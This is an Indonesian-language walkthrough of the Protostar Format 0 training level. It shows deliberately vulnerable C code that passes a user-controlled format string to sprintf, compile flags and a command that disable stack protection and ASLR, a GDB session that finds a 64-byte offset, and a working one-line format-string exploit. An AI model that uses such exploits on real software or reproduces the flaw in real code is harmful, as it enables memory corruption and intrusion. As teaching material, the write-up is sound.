Protostar Format 0
Pendahuluan
Pada artikel ini, akan dijelaskan mengenai eksploitasi binary dengan memanfaatkan kelemahan string format pada variabel yang salah menggunakan pointer dengan cara mengirimkan buffer yang disesuaikan agar mengetahui alamat variabel yang diinginkan dan mengekstrak nilainya.
Alat dan Bahan
Fail: vuln.c Kompiler: GCC Debugger: GDB Sistem operasi: Ubuntu 16.04 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
- Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c
Penjelasan
-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.
-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).
-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi
-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.
-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
- Mematikan ASLR
Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Pengumpulan Infomasi
Jalankan program secara normal terlebih dahulu.
# ./vuln A
Program tersebut menerima argumen melalui command line.
Identifikasi Kelemahan
Berdasarkan source code diatas terdapat kelemahan format string pada fungsi sprintf
. Tujuan akhirnya adalah menimpa variabel target
dengan nilai 0xdeadbeef
. Informasi yang diperlukan adalah jarak antara alamat variabel target
dan buffer
, untuk mendapatkannya bisa menggunakan GDB.
$ gdb -q vuln
Reading symbols from vuln...done.
gdb-peda$ b vuln
Breakpoint 1 at 0x8048441: file vuln.c, line 11.
gdb-peda$ r A
...
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0xffffd695 --> 0x434c0041 ('A')
EBX: 0x0
ECX: 0xffffd450 --> 0x2
EDX: 0xffffd474 --> 0x0
ESI: 0xf7fa5000 --> 0x1b1db0
EDI: 0xf7fa5000 --> 0x1b1db0
EBP: 0xffffd418 --> 0xffffd438 --> 0x0
ESP: 0xffffd3c0 --> 0xffffd3ee --> 0xffff0000 --> 0x0
EIP: 0x8048448 (<vuln+13>: sub esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804843c <vuln+1>: mov ebp,esp
0x804843e <vuln+3>: sub esp,0x58
0x8048441 <vuln+6>: mov DWORD PTR [ebp-0xc],0x0
=> 0x8048448 <vuln+13>: sub esp,0x8
0x804844b <vuln+16>: push DWORD PTR [ebp+0x8]
0x804844e <vuln+19>: lea eax,[ebp-0x4c]
0x8048451 <vuln+22>: push eax
0x8048452 <vuln+23>: call 0x8048320 <sprintf@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffd3c0 --> 0xffffd3ee --> 0xffff0000 --> 0x0
0004| 0xffffd3c4 --> 0xffffd4f0 --> 0xffffd697 ("LC_TELEPHONE=id_ID.UTF-8")
0008| 0xffffd3c8 --> 0xe0
0012| 0xffffd3cc --> 0x0
0016| 0xffffd3d0 --> 0xf7ffd000 --> 0x23f3c
0020| 0xffffd3d4 --> 0xf7ffd918 --> 0x0
0024| 0xffffd3d8 --> 0xffffd3f0 --> 0xffffffff
0028| 0xffffd3dc --> 0x8048253 ("__libc_start_main")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
13 sprintf(buffer, string);
gdb-peda$ p $ebp-0xc
$1 = (void *) 0xffffd40c
gdb-peda$ p $ebp-0x4c
$2 = (void *) 0xffffd3cc
gdb-peda$ q
$ python
>>> 0xffffd40c-0xffffd3cc
64
Jaraknya adalah 64 bytes.
Eksploitasi
Untuk menyelesaikannya, bisa menggunakan script ini.
./vuln %64x`perl -e 'print "\xef\xbe\xad\xde"'`
you have hit the target correctly :)
This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.